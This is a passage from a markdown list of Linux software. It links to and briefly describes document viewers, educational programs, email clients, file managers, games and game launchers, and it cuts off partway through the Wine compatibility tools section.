[Lucidor](https://www.lucidor.org/lucidor/) - Lucidor is a computer program for reading and handling e-books. Lucidor supports e-books in the EPUB file format, and catalogs in the OPDS format. - [MasterPDF editor](https://code-industry.net/free-pdf-editor/) - Master PDF Editor a convenient and smart PDF editor for Linux. - [![Open-Source Software][oss icon]](https://sourceforge.net/p/mcomix/git/ci/master/tree/) [Mcomix](https://sourceforge.net/projects/mcomix/) - GTK+ comic book viewer. - [![Open-Source Software][oss icon]](http://git.ghostscript.com/?p=mupdf.git;a=summary) [MuPDF](https://mupdf.com/) - A lightweight PDF and XPS viewer. - [![Open-Source Software][oss icon]](https://github.com/KDE/okular) [Okular](https://okular.kde.org/) - Okular is a universal document viewer based developed by KDE. Okular works on multiple platforms, including but not limited to Linux, Windows, Mac OS X, BSD, etc. - [![Open-Source Software][oss icon]](https://github.com/pdfarranger/pdfarranger) [PDF Arranger](https://github.com/pdfarranger/pdfarranger) - PDF Arranger is a small application, which helps the user to merge or split pdf documents and rotate, crop and rearrange their pages using an interactive and intuitive graphical interface. - [![Open-Source Software][oss icon]](https://github.com/torakiki/pdfsam) [PDFsam](http://www.pdfsam.org/) - A desktop application to split, extract pages, rotate, mix and merge PDF files. - [![Open-Source Software][oss icon]](https://github.com/junrrein/pdfslicer) [PDF Slicer](https://junrrein.github.io/pdfslicer/) - PDF Slicer is a simple application to extract, merge, rotate and reorder pages of PDF documents. - ![Non Free][money icon] [PDF Studio](https://www.qoppa.com/pdfstudio/) - An easy to use, full-featured PDF editing software that is a reliable alternative to Adobe Acrobat and provides all PDF functions needed at a fraction of the cost. PDF Studio maintains full compatibility with the PDF Standard. - [Polar](https://getpolarized.io/) - Polar is a personal knowledge repository for PDF and web content supporting incremental reading and document annotation. - [![Open-Source Software][oss icon]](https://launchpad.net/qpdfview) [qpdfview](https://launchpad.net/qpdfview) - qpdfview is a tabbed document viewer. - [![Open-Source Software][oss icon]](https://github.com/Sigil-Ebook/Sigil) [Sigil](https://sigil-ebook.com/) - Sigil is a multi-platform EPUB ebook editor. - [![Open-Source Software][oss icon]](https://git.pwmt.org/pwmt/zathura.git) [Zathura](https://pwmt.org/projects/zathura/) - Zathura is a highly customizable and functional document viewer. ### Education - [![Open-Source Software][oss icon]](https://apps.ankiweb.net/) [Anki](https://apps.ankiweb.net/) - Powerful, intelligent flash cards which makes remembering things easy. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/artha/) [Artha](http://artha.sourceforge.net/wiki/index.php/Home) - Artha is a free cross-platform English thesaurus that works completely off-line and is based on WordNet. - [![Open-Source Software][oss icon]](https://github.com/bibletime/bibletime) [BibleTime](http://bibletime.info/) - BibleTime is a Bible study application based on the Sword library and Qt toolkit. - [![Open-Source Software][oss icon]](https://github.com/CelestiaProject/Celestia) [Celestia](https://github.com/CelestiaProject/Celestia) - The free space simulation that lets you explore our universe in three dimensions. - [![Open-Source Software][oss icon]](https://github.com/opp11/chemtool/) [Chemtool](http://ruby.chemie.uni-freiburg.de/~martin/chemtool/) - Chemtool is a small program for drawing chemical structures on Linux. - [![Open-Source Software][oss icon]](http://github.com/colobot) [Colobot](https://colobot.info/) - Colobot: Gold Edition is a real-time strategy game, where you can program your units (bots) in a language called CBOT, which is similar to C++ and Java. - [![Open-Source Software][oss icon]](https://code.launchpad.net/epoptes) [Epoptes](https://epoptes.org/) - An open source computer lab management and monitoring tool. - [![Open-Source Software][oss icon]](https://github.com/gap-system/gap) [GAP](https://www.gap-system.org/) - A computer algebra system for computational discrete algebra with particular emphasis on computational group theory. - [![Open-Source Software][oss icon]](http://gcompris.net/wiki/Developer%27s_corner) [Gcompris](https://gcompris.net/index-en.html) - GCompris is a high quality educational software suite comprising of numerous activities for children aged 2 to 10. - [![Open-Source Software][oss icon]](https://github.com/geogebra/geogebra) [Geogebra](https://www.geogebra.org/download) - The graphing calculator for functions, geometry, algebra, calculus, statistics and 3D mathematics. - [![Open-Source Software][oss icon]](https://wiki.gnome.org/Apps/Dictionary) [GNOME Dictionary](https://wiki.gnome.org/Apps/Dictionary) - A powerful dictionary for GNOME. - [![Open-Source Software][oss icon]](https://hg.savannah.gnu.org/hgweb/octave) [GNU Octave](https://www.gnu.org/software/octave/) - GNU Octave is a scientific programming language, primarily intended for numerical computations, that is mostly compatible with MATLAB. - [![Open-Source Software][oss icon]](https://git.savannah.gnu.org/cgit/gtypist.git) [GNU Typist](https://www.gnu.org/software/gtypist/index.html) - ncurses-based free-software typing instructor. - [![Open-Source Software][oss icon]](https://gitlab.com/gnukhata) [GNUKhata](https://gnukhata.org/) - Open source accounting software. - [Google Earth](https://www.google.com/earth/about/versions/) - Google Earth is a virtual globe, map and geographical information program. - [![Open-Source Software][oss icon]](http://gperiodic.seul.org/cvs/) [GPeriodic](http://gperiodic.seul.org/) - GPeriodic is a periodic table application for Linux. - [KDE Edu Suite](https://edu.kde.org/) - Free Educational Software based on the KDE technologies. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/klavaro) [Klavaro](https://klavaro.sourceforge.io/en/index.html) - A touch typing tutor very flexible, supporting customizable keyboard layouts. You can edit and save new or unknown keyboard layouts, as the basic course was designed to not depend on specific ones. Also, there are some charts about the learning process. - [![Open-Source Software][oss icon]](https://invent.kde.org/education/ktouch) [Ktouch](https://apps.kde.org/ktouch/) - KTouch is a program to learn and practice touch typing. - ![Nonfree][money icon] [MAPLE](https://www.maplesoft.com/products/maple/) - Maple is math software that combines the world's most powerful math engine with an interface that makes it extremely easy to analyze, explore, visualize, and solve mathematical problems. - ![Nonfree][money icon] [MapTiler](https://www.maptiler.com/) - MapTiler generates zoomable raster maps from images in user-defined coordinate system. - [![Open-Source Software][oss icon]](https://github.com/KDE/marble) [Marble](https://marble.kde.org/) - Marble is a virtual globe and world atlas — your swiss army knife for maps. - ![Nonfree][money icon] [MATLAB](https://www.mathworks.com/products/matlab/) - The MATLAB platform is optimized for solving engineering and scientific problems. MATLAB helps you take your ideas beyond the desktop. You can run your analyses on larger data sets and scale up to clusters and clouds. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/maxima/) [Maxima](https://maxima.sourceforge.io/) - Maxima is a system for the manipulation of symbolic and numerical expressions, including differentiation, integration, Taylor series, Laplace transforms, ordinary differential equations, systems of linear equations, and much more. - [Mendeley](https://www.mendeley.com/) - Mendeley is a program for managing and sharing research papers, finding research data and collaborating online. - [![Open-Source Software][oss icon]](https://github.com/moodle/moodle) [Moodle](https://download.moodle.org/) - Course management system for online learning. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/openeuclide/) [OpenEuclid](http://coulon.publi.free.fr/openeuclide/) - OpenEuclide is a 2D geometry software: figures are defined dynamically by describing formal geometrical constraints. - [![Open-Source Software][oss icon]](https://github.com/openmaptiles) [OpenMapTiles](https://openmaptiles.org/) - OpenMapTiles is a set of open-source tools for self-hosting of OpenStreetMaps in more than 50 languages. It provides both raster as well as vector tiles, WMS, WMTS, support for JavaScript viewers and mobile SDK. - [![Open-Source Software][oss icon]](http://opensis.sourceforge.net/) [OpenSIS](https://www.opensis.com/) - School Management Software that Increases Student Achievements & Teacher Performances. - [![Open-Source Software][oss icon]](https://pari.math.u-bordeaux.fr/cgi-bin/gitweb.cgi?p=pari.git;a=summary) [PARI/GP](https://pari.math.u-bordeaux.fr/) - A computer algebra system for fast computations in number theory. - [![Open-Source Software][oss icon]](https://github.com/sagemath/sage) [SageMath](https://www.sagemath.org/) - A mathematical software with features covering many aspects of mathematics, including algebra, combinatorics, numerical mathematics, number theory, and calculus. - [![Open-Source Software][oss icon]](https://github.com/scipy/scipy) [Scipy](https://scipy.org/install.html) - SciPy is a Python-based ecosystem of open-source software for mathematics, science, and engineering. - [![Open-Source Software][oss icon]](https://github.com/LLK/scratch-flash) [Scratch](https://scratch.mit.edu/) - With Scratch, you can program your own interactive stories, games, and animations — and share your creations with others in the online community. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/stellarium/) [Stellarium](https://www.stellarium.org/) - Stellarium is a free open source planetarium for your computer. - [![Open-Source Software][oss icon]](https://github.com/sugarlabs/sugar) [Sugar Desktop Environment](https://sugarlabs.org/) - Sugar is a learning platform that reinvents how computers are used for education. Collaboration, reflection, and discovery are integrated directly into the user interface. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/tuxtype/files/tuxtype-source/) [TuxType](https://www.tux4kids.com/tuxtyping.html) - An educational typing tutorial game starring Tux. - [![Open-Source Software][oss icon]](https://github.com/ugeneunipro/ugene) [UGENE](https://ugene.net/) - UGENE is free open-source cross-platform integrated GUI-based bioinformatics software. - [![Open-Source Software][oss icon]](https://github.com/veyon/veyon) [Veyon](https://veyon.io/) - Veyon is a computer management software for classrooms, it allows a teacher to control student computers and guide students over a computer network. ### Email - [![Open-Source Software][oss icon]](https://git.sr.ht/~sircmpwn/aerc) [aerc](https://aerc-mail.org) - aerc is an efficient, extensible email client that runs in the terminal. It features special support for git email workflows, reviewing patches, and processing HTML emails in a terminal-based browser. - [![Open-Source Software][oss icon]](https://git.claws-mail.org/) [Claws](https://www.claws-mail.org/) - Claws is an email client and news reader, featuring sophisticated interface, easy configuration, intuitive operation, abundant features and plugins, robustness and stability. - [![Open-Source Software][oss icon]](https://github.com/vladimiry/ElectronMail) [ElectronMail](https://github.com/vladimiry/ElectronMail) - ElectronMail is an Electron-based unofficial desktop client for ProtonMail and Tutanota end-to-end encrypted email providers. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/evolution/) [Evolution](https://wiki.gnome.org/Apps/Evolution/) - Evolution is a personal information management application that provides integrated mail, calendaring and address book functionality. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/geary/) [Geary](https://wiki.gnome.org/Apps/Geary) - Geary is an email application built for GNOME 3. It allows you to read and send email with a simple, modern interface. - ![Nonfree][money icon] [Hiri](https://www.hiri.com/) - Hiri is a business focused desktop e-mail client for sending and receiving e-mails, managing calendars, contacts, and tasks. - [![Open-Source Software][oss icon]](https://invent.kde.org/pim/kmail) [KMail](https://apps.kde.org/kmail2/) - KMail is the email component of Kontact, the integrated personal information manager from KDE. - [![Open-Source Software][oss icon]](https://github.com/pulb/mailnag) [Mailnag](https://launchpad.net/~pulb/+archive/ubuntu/mailnag) - Mailnag is a daemon program that checks POP3 and IMAP servers for new mail. - [Mailspring](https://getmailspring.com/) - A beautiful, fast and maintained fork of Nylas Mail ([dead](https://github.com/nylas/nylas-mail)) by one of the original authors. - [![Open-Source Software][oss icon]](http://sylpheed.sraoss.jp/en/download.html#stable) [Sylpheed](https://sylpheed.sraoss.jp/en/) - Lightweight and user-friendly e-mail client. - [![Open-Source Software][oss icon]](https://releases.mozilla.org/pub/thunderbird/) [Thunderbird](https://www.thunderbird.net/en-US/) - Thunderbird is a free email application that’s easy to set up and customize and it’s loaded with great features. - [![Open-Source Software][oss icon]](https://github.com/KDE/trojita) [Trojita](https://apps.kde.org/trojita/) - A super fast desktop email client for Linux. - [![Open-Source Software][oss icon]](https://github.com/danchoi/vmail) [Vmail](http://danielchoi.com/software/vmail.html) - Vim-like Gmail client. ### File Manager - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/sevenzip/) [7Zip](https://www.7-zip.org/download.html) - A very capable program that can unzip nearly any file archiving format. - [![Open-Source Software][oss icon]](https://github.com/mate-desktop/caja) [Caja](https://mate-desktop.org/) - Is the default file manager for the MATE desktop environment, it is very fast and simple to use. - [![Open-Source Software][oss icon]](https://github.com/leo-arch/clifm) [CliFM](https://github.com/leo-arch/clifm) - The shell-like, command line terminal file manager: simple, fast, extensible, and lightweight as hell. - [![Open-Source Software][oss icon]](https://invent.kde.org/system/dolphin) [Dolphin](https://apps.kde.org/dolphin/) - Dolphin is the default file manager of the KDE desktop environment featuring usability as well as functionality. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/doublecmd/) [Double Commander](https://doublecmd.sourceforge.io/) - Double Commander is a cross platform open source file manager with two panels side by side. It is inspired by Total Commander and features some new ideas. - [![Open-Source Software][oss icon]](https://invent.kde.org/network/konqueror) [Konqueror](https://apps.kde.org/konqueror/) - Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing. - [![Open-Source Software][oss icon]](https://invent.kde.org/utilities/krusader) [Krusader](https://krusader.org) - Krusader is an advanced twin panel (commander style) file manager for KDE and other desktops in the \*nix world, similar to Midnight or Total Commander. - [![Open-Source Software][oss icon]](https://github.com/MidnightCommander/mc) [Midnight Commander](https://www.midnight-commander.org/) - A feature rich full-screen file manager that allows you to copy, move and delete files and whole directory trees. - [![Open-Source Software][oss icon]](https://github.com/GNOME/nautilus) [Nautilus](https://wiki.gnome.org/Apps/Files) - Nautilus (Files) is a file manager designed to fit the GNOME desktop design and behaviour, giving the user a simple way to navigate and manage its files. - [![Open-Source Software][oss icon]](https://github.com/linuxmint/nemo) [Nemo](https://github.com/linuxmint/nemo) - Nemo is the file manager for the Cinnamon desktop environment. - [![Open-Source Software][oss icon]](https://github.com/jarun/nnn) [nnn](https://github.com/jarun/nnn) - A very lightweight and fast terminal file browser with excellent desktop integration. - [![Open-Source Software][oss icon]](https://github.com/shundhammer/qdirstat) [QDirStat](https://github.com/shundhammer/qdirstat) - Qt-based directory statistics - KDirStat without any KDE, from the original KDirStat author. - [![Open-Source Software][oss icon]](https://github.com/ranger/ranger) [Ranger](https://ranger.github.io/) - Ranger is a console file manager with VI key bindings. - [![Open-Source Software][oss icon]](https://github.com/IgnorantGuru/spacefm) [SpaceFM](https://ignorantguru.github.io/spacefm/) - Multi-panel tabbed file and desktop manager with built-in VFS, udev- or HAL-based device manager, customisable menu system and bash-GTK integration. - [![Open-Source Software][oss icon]](https://gitlab.xfce.org/xfce/thunar) [Thunar](https://docs.xfce.org/xfce/thunar/start) - Thunar is a modern file manager for the Xfce Desktop Environment. - [![Open-Source Software][oss icon]](https://github.com/vifm/vifm) [Vifm](https://vifm.info/) - Vifm is an ncurses based file manager with VI like keybindings, which also borrows some useful ideas from mutt. ### Games #### City Building Simulation - [Dwarf Fortress](http://www.bay12games.com/dwarves/) - A famously complex simulation of a High Fantasy Dwarf Fortress, fight goblins, and slay massive legendary beasts. Strike the earth! - [![Open-Source Software][oss icon]](https://github.com/OpenTTD/OpenTTD) [OpenTTD](https://www.openttd.org/) - An open-source clone of Transport Tycoon Plus with major improvements. - [![Open-Source Software][oss icon]](https://github.com/aburch/simutrans) [Simutrans](https://www.simutrans.com) - Simutrans is a freeware and open-source transportation simulator. - [![Open-Source Software][oss icon]](https://github.com/unknown-horizons/unknown-horizons) [Unknown Horizons](http://unknown-horizons.org/) - A 2D realtime strategy simulation with an emphasis on economy and city building. Multiplayer currently broken. #### Command Line - [![Open-Source Software][oss icon]](https://github.com/mydzor/bash2048) [2048](https://github.com/mydzor/bash2048) - Play the famous 2048 in commandline. - [![Open-Source Software][oss icon]](https://github.com/fph/bastet) [Bastet](https://fph.altervista.org/prog/bastet.html) - Play Tetris in commandline. - [![Open-Source Software][oss icon]](https://github.com/maaslalani/gambit) [gambit](https://github.com/maaslalani/gambit) - Play chess in your terminal. - [![Open-Source Software][oss icon]](https://github.com/alexdantas/nsnake) [nSnake](https://github.com/alexdantas/nsnake) - Play the classic Nokia snake game on the command line. - [![Open-Source Software][oss icon]](https://github.com/alexdantas/pacman4console.debian) [Pacman4console](https://launchpad.net/ubuntu/+source/pacman4console) - Play Pacman game in console. - [![Open-Source Software][oss icon]](https://github.com/lxgr-linux/pokete/) [Pokete](https://lxgr-linux.github.io/pokete/) - A terminal based Pokemon like game. - [![Open-Source Software][oss icon]](https://github.com/mpereira/tty-solitaire) [tty-solitaire](https://github.com/mpereira/tty-solitaire) - Play solitaire in your terminal! #### Engine Re-creations (require the actual game) - [![Open-Source Software][oss icon]](https://github.com/wheybags/freeablo) [Freeablo](https://freeablo.org/) - A free recreation of the original Diablo game engine that runs natively on Linux. Requires the original game assets. - [![Open-Source Software][oss icon]](https://nxengine.sourceforge.io/) [NXEngine](https://nxengine.sourceforge.io/) - A source port of Cave Story that runs natively on Linux, source needs to be built. - [![Open-Source Software][oss icon]](https://github.com/nxengine/nxengine-evo) [NXEngine-evo](https://github.com/nxengine/nxengine-evo) - A somewhat upgraded/refactored version of NXEngine by Caitlin Shaw. - [![Open-Source Software][oss icon]](https://github.com/SFTtech/openage) [openage](https://openage.sft.mx/) - Free (as in freedom) open source clone of the Age of Empires II engine, source needs to be built. - [![Open-Source Software][oss icon]](https://github.com/OpenMW/openmw) [OpenMW](https://openmw.org) - A recreation of the Morrowind engine, expanding upon the original. It can be used to play legitimate copies of original game. - [![Open-Source Software][oss icon]](https://github.com/OpenRA/OpenRA) [OpenRA](https://www.openra.net/) - Classic strategy games, rebuilt for the modern era. Open source. - [![Open-Source Software][oss icon]](https://github.com/OpenRCT2/OpenRCT2) [OpenRCT2](https://openrct2.io/) - A recreation of the Rollercoaster Tycoon 2 engine. Requires the original games assests. #### FPS - [![Open-Source Software][oss icon]](https://gitlab.com/xonotic) [ChaosEsqueAnthology Disc 1](https://sourceforge.net/projects/chaosesqueanthology/) [ChaosEsqueAnthology Disc 2](https://sourceforge.net/projects/chaosesqueanthologyvolume2/) - A modification of Xonotic which included extended weapons, maps, vehicles, buildable buildings, mounted weapons, spell casting, monsters, player characters, textures, and game mode (such as colorwar (think liquidwar)). - [![Open-Source Software][oss icon]](https://github.com/freedoom/freedoom) [Freedoom](https://freedoom.github.io/) - Free version of the original Doom games, with newly created free-licensed assets. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/oarena/) [OpenArena](https://sourceforge.net/projects/oarena/) - Free and open-source clone of Quake III Arena, based on the realeased source code, with newly created assets. - [![Open-Source Software][oss icon]](https://github.com/red-eclipse/base) [Red Eclipse](https://redeclipse.net/) - Red Eclipse is a fun-filled new take on the first person arena shooter, which lends itself toward a balanced gameplay, with a general theme of agility in a variety of environments. - [Urban Terror](https://www.urbanterror.info) - A "Hollywood" tactical shooter - realism based, but the motto is "fun over realism". - [![Open-Source Software][oss icon]](https://gitlab.com/xonotic) [Xonotic](https://www.xonotic.org/) - Arena shooter inspired by Unreal Tournament and Quake. - [![Open-Source Software][oss icon]](https://osdn.net/projects/zandronum/scm/) [Zandronum](https://zandronum.com/) - Leading the way in newschool multiplayer Doom online. - [![Open-Source Software][oss icon]](https://github.com/coelckers/gzdoom) [Zdoom](https://zdoom.org/index) - ZDoom is a source port for the modern era, supporting current hardware and operating systems and sporting a vast array of user options. #### Miscellaneous - [![Open-Source Software][oss icon]](http://wiki.flightgear.org/Portal:Developer) [FlightGear](https://home.flightgear.org/) - Professional quality 3D flight simulator. - [![Open-Source Software][oss icon]](https://github.com/Mudlet/Mudlet) [Mudlet](https://www.mudlet.org/) - A cross-platform, open source, and super fast MUD (text-only MMORPGs) client with scripting in Lua. - [![Open-Source Software][oss icon]](https://github.com/Neverball/neverball) [Neverball](https://neverball.org/) - Addictive ball-rolling game with many levels, avatars and an ability to record replays. - [OhMyGiraffe](https://www.ohmygiraffe.com/) - A delightful game of survival. A game about a giraffe eating fruit while being chased by lions. - [![Open-Source Software][oss icon]](https://github.com/alemart/opensurge) [Open Surge](https://opensurge2d.org/) - A 2D platformer and game creation engine inspired by the 16-bit Sonic the Hedgehog games. - [![Open-Source Software][oss icon]](https://github.com/alpcoskun/snake) [Snake Game](https://aprilcoskun.github.io/snake/) - Cross-platform Classic Snake Game based on Node.js. - [![Open-Source Software][oss icon]](https://github.com/SuperTux/supertux/) [SuperTux](http://www.supertux.org/) - Clone of the popular sidescrolling Super Mario games. #### Puzzle - [![Open-Source Software][oss icon]](https://github.com/Cockatrice/Cockatrice) [Cockatrice](https://cockatrice.github.io/) - Cockatrice is an open-source multiplatform supported program for playing tabletop card games over a network. - [![Open-Source Software][oss icon]](https://download.savannah.gnu.org/releases/galois/source/) [Galois](https://www.nongnu.org/galois/) - Galois is a Falling Blocks type game that isn't limited to the standard tetrominoes that most games in it's genre are limited to. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/gbrainy/) [GBrainy](https://wiki.gnome.org/action/show/Apps/gbrainy) - Gbrainy is a brain teaser game with logic puzzles and memory trainers. - [![Open-Source Software][oss icon]](https://gitlab.com/pingus/pingus) [Pingus](https://pingus.seul.org/) - 2D puzzle game that clones the popular Lemmings. Your goal is to guide a group of penguins safely across the game map. #### Racing - [![Open-Source Software][oss icon]](http://motogt.sourceforge.net/) [MotoGT](http://motogt.sourceforge.net/) - 2D top-viewed game where you drive a MotoGP bike. - [![Open-Source Software][oss icon]](https://github.com/supertuxkart/stk-code) [SuperTuxKart](https://supertuxkart.net) - SuperTuxKart is a 3D open-source arcade racer with a variety characters, tracks, and modes to play. - [![Open-Source Software][oss icon]](https://xmoto.tuxfamily.org/index.php) [XMoto](https://xmoto.tuxfamily.org/) - 2D motocross physics-based game requiring a lot of skill to master, with a built-in replay-recording and sharing system. #### RPG - [![Open-Source Software][oss icon]](https://github.com/flareteam/flare-engine) [FLARE](http://flarerpg.org/) - Singleplayer Diablo clone with beautiful original graphics. - [![Open-Source Software][oss icon]](https://gitlab.com/freedroid/freedroid-src) [FreedroidRPG](http://www.freedroid.org/) - Sci-fi 2D top-down RPG inspired by Diablo games. - [Ryzom](https://ryzom.com/) - Free and open-source 3D MMORPG with unique features and deep lore. The official servers allow free accounts as well as paid subscriptions with extra features. - [![Open-Source Software][oss icon]](https://te4.org/) [Tales of Maj'Eyal](https://te4.org/) - Tales of Maj’Eyal (ToME) is a free, open source roguelike RPG, featuring tactical turn-based combat and advanced character building. - [![Open-Source Software][oss icon]](https://gitlab.com/veloren/veloren) [Veloren](https://veloren.net/) - Veloren is a multiplayer voxel RPG written in Rust. It is inspired by games such as Cube World, Legend of Zelda: Breath of the Wild, Dwarf Fortress and Minecraft. - [![Open-Source Software][oss icon]](https://github.com/ArmageddonGames/ZeldaClassic) [Zelda Classic](https://www.zeldaclassic.com/) - A tribute to Nintendo's The Legend of Zelda with additional quests, items and challenges. - [![Open-Source Software][oss icon]](https://gitlab.com/solarus-games/) [Zelda: Mystery of Solarus DX](http://www.solarus-games.org) - A direct sequel to The Legend of Zelda: A Link to the Past on the SNES, using the same graphics and game mechanisms. #### RTS - [![Open-Source Software][oss icon]](https://releases.wildfiregames.com/) [0 A.D.](https://play0ad.com/) - Age of Empires like RTS game of ancient warfare. - [![Open-Source Software][oss icon]](https://github.com/Anuken/Mindustry) [Mindustry](https://mindustrygame.github.io/) - The automation tower defense RTS, written in Java. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/nethack/) [Nethack](https://www.nethack.org/) - Open-source rogue-like with ASCII graphics. - [![Open-Source Software][oss icon]](https://github.com/triplea-game/triplea/) [TripleA](https://triplea-game.org) - Open source grand strategy game with "Axis and Allies" game rules. - [![Open-Source Software][oss icon]](https://github.com/Warzone2100/warzone2100) [Warzone 2100](https://wz2100.net/) - Open-source real-time strategy game that takes place after a nuclear war. - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~widelands-dev/widelands/trunk/changes) [Widelands](https://wl.widelands.org/) - Widelands is a open source RTS game with singleplayer campaigns and a multiplayer mode inspired by Settlers II. #### Sandbox - ![Nonfree][money icon] [Factorio](https://www.factorio.com/) - A factory building sandbox game. - [![Open-Source Software][oss icon]](https://github.com/minecraft-linux/mcpelauncher-manifest) [Mcpelauncher](https://mcpelauncher.readthedocs.io/en/latest/) - Unoffical Open-source launcher for Minecraft: Bedrock edition. - ![Nonfree][money icon] [Minecraft](https://minecraft.net) - Minecraft is a game about placing blocks and going on adventures. Explore randomly generated worlds and build amazing things from the simplest of homes to the grandest of castles. - [![Open-Source Software][oss icon]](https://github.com/minetest/minetest/) [Minetest](https://minetest.net) - Open-source Minecraft written in C++ (uses less resources) and includes modding API. - [![Open-Source Software][oss icon]](https://github.com/MultiMC/Launcher/) [MultiMC](https://multimc.org/) - MultiMC is an alternative launcher for Minecraft. It allows you to have multiple, cleanly separated instances of Minecraft (each with their own mods, resource packs, saves, etc) and helps you manage them and their associated options with a simple and powerful interface. - [![Open-Source Software][oss icon]](https://github.com/PrismLauncher/PrismLauncher) [Prism Launcher](https://prismlauncher.org/) - A custom launcher for Minecraft that allows you to easily manage multiple installations of Minecraft at once (Fork of MultiMC and PolyMC). #### Shooter - [![Open-Source Software][oss icon]](https://github.com/viewizard/astromenace) [AstroMenace](https://viewizard.com/) - Hardcore 3D space scroll-shooter with spaceship upgrade possibilities. - [![Open-Source Software][oss icon]](https://github.com/cxong/cdogs-sdl) [C-Dogs SDL](https://cxong.github.io/cdogs-sdl/) - Classic overhead run-and-gun game in beautiful pixel-art. #### Turn Based Strategy - [![Open-Source Software][oss icon]](https://github.com/wesnoth/wesnoth) [Battle for Wesnoth](https://wesnoth.org/) - The Battle for Wesnoth is an open source, turn-based strategy game with a high fantasy theme. It features both singleplayer and online/hotseat multiplayer combat. - [![Open-Source Software][oss icon]](https://github.com/freeciv/freeciv) [FreeCiv](http://www.freeciv.org/) - Freeciv is a Free and Open Source empire-building strategy game inspired by the history of human civilization. - [HedgeWars](https://www.hedgewars.org/) - 2D game where teams compete in the style of the popular Worms games. - [Tanks of Freedom](https://w84death.itch.io/tanks-of-freedom) - Pixel-art military strategy implemented in Godot game engine. #### Gaming Applications ##### Launchers - [![Open-Source Software][oss icon]](https://github.com/bottlesdevs/) [Bottles](https://usebottles.com/) - Easily manage wine prefixes in a new way. Run Windows software and games on Linux. - [![Open-Source Software][oss icon]](https://github.com/tkashkin/GameHub) [GameHub](https://tkashkin.github.io/projects/gamehub/) - GameHub is a unified library for all your games. It allows you to store your games from different platforms into one program to make it easier for you to manage your games. - [![Open-Source Software][oss icon]](https://github.com/Heroic-Games-Launcher) [Heroic Games Launcher](https://heroicgameslauncher.com/) - A Native GOG and Epic Games Launcher for Linux, Windows and Mac. - [![Open-Source Software][oss icon]](https://github.com/itchio/itch) [itch](https://itch.io/) - The itch.io app. All of your downloads are kept in a single place and are automatically updated. Plenty of free games. - [![Open-Source Software][oss icon]](https://github.com/lutris/lutris) [Lutris](https://lutris.net/) - Lutris is an open gaming platform for Linux. It helps you install and manage your games in a unified interface. - [![Open-Source Software][oss icon]](https://github.com/sharkwouter/minigalaxy) [Minigalaxy](https://sharkwouter.github.io/minigalaxy/) - A simple GOG client for Linux. - [![Open-Source Software][oss icon]](https://repository.playonlinux.com/) [PlayOnLinux](https://www.playonlinux.com) - A front-end for Wine. - [Steam](https://store.steampowered.com/) - Gaming store, which opens the gates to many games. ##### Tools - [![Open-Source Software][oss icon]](https://github.com/PhilipK/BoilR) [BoilR](https://github.com/PhilipK/BoilR) - Synchronize games from other platforms into your Steam library. - [![Open-Source Software][oss icon]](https://github.com/dreamer/boxtron) [Boxtron](https://github.com/dreamer/boxtron) - Steam Play compatibility tool to run DOS games using native Linux DOSBox. It is a sister project of Luxtorpeda and DOSBox Staging. - [![Open-Source Software][oss icon]](https://github.com/dosbox-staging/dosbox-staging) [DOSBox Staging](https://dosbox-staging.github.io/) - DOSBox Staging is a modern continuation of DOSBox with advanced features and current development practices. - [![Open-Source Software][oss icon]](https://github.com/FeralInteractive/gamemode) [GameMode](https://github.com/FeralInteractive/gamemode) - Optimise Linux system performance on demand. - [![Open-Source Software][oss icon]](https://github.com/benjamimgois/goverlay) [GOverlay](https://github.com/benjamimgois/goverlay) - GOverlay is an open source project that aims to create a Graphical UI to help manage Linux overlays. - [![Open-Source Software][oss icon]](https://github.com/luxtorpeda-dev/luxtorpeda) [Luxtorpeda](https://luxtorpeda.gitlab.io/) - Suite of Steam Play compatibility tools to run games using native Linux engines. - [![Open-Source Software][oss icon]](https://github.com/flightlessmango/MangoHud) [MangoHud](https://github.com/flightlessmango/MangoHud) - A Vulkan and OpenGL overlay for monitoring FPS, temperatures, CPU/GPU load and more. - [![Open-Source Software][oss icon]](https://github.com/Merrit/nyrna) [Nyrna](https://nyrna.merritt.codes/) - Suspend games and applications. - [![Open-Source Software][oss icon]](https://github.com/dreamer/roberta) [Roberta](https://github.com/dreamer/roberta) - Steam Play compatibility tool to run adventure games using native Linux ScummVM. It is a sister project of Luxtorpeda. - [![Open-Source Software][oss icon]](https://github.com/kozec/sc-controller) [SC Controller](https://github.com/kozec/sc-controller) - User-mode driver, mapper and GTK3 based GUI for Steam Controller, DualShock 4, and similar controllers. - [![Open-Source Software][oss icon]](https://github.com/scummvm/scummvm) [ScummVM](https://www.scummvm.org/) - ScummVM allows you to play classic graphic point-and-click adventure games, text adventure games, and RPGs, as long as you already have the game data files. ScummVM replaces the executable files shipped with the games, which means you can now play your favorite games on all your favorite devices. - [![Open-Source Software][oss icon]](https://github.com/CapitaineJSparrow/steam-repo-manager) [Steam Deck Repo Manager](https://steamdeckrepo.com/) - Install boot videos to your Steam Deck using Steam Deck Repo website API. - [![Open-Source Software][oss icon]](https://github.com/SteamGridDB/steam-rom-manager) [Steam ROM Manager](https://steamgriddb.github.io/steam-rom-manager/) - An app for managing ROMs in Steam. ##### W.I.N.E. - [![Open-Source Software][oss icon]](https://github.com/GloriousEggroll/proton-ge-custom) [GE-Proton](https://github.com/GloriousEggroll/proton-ge-custom) - Compatibility tool for Steam Play based on Wine and additional components. - [![Open-Source Software][oss icon]](https://github.com/Kron4ek/Wine-Builds) [Kron4ek Wine Builds](https://github.com/Kron4ek/Wine-Builds) - Custom Wine builds and build scripts for Vanilla, Wine Staging, Wine-tkg and Proton. - [![Open-Source Software][oss icon]](https://github.com/ValveSoftware/Proton) [Proton](https://github.com/ValveSoftware/Proton) - Compatibility tool for Steam Play based on Wine and additional components, primarily developed by Valve and CodeWeavers. - [![Open-Source Software][oss icon]](https://github.com/Vysp3r/ProtonPlus) [ProtonPlus](https://github.com/Vysp3r/ProtonPlus) 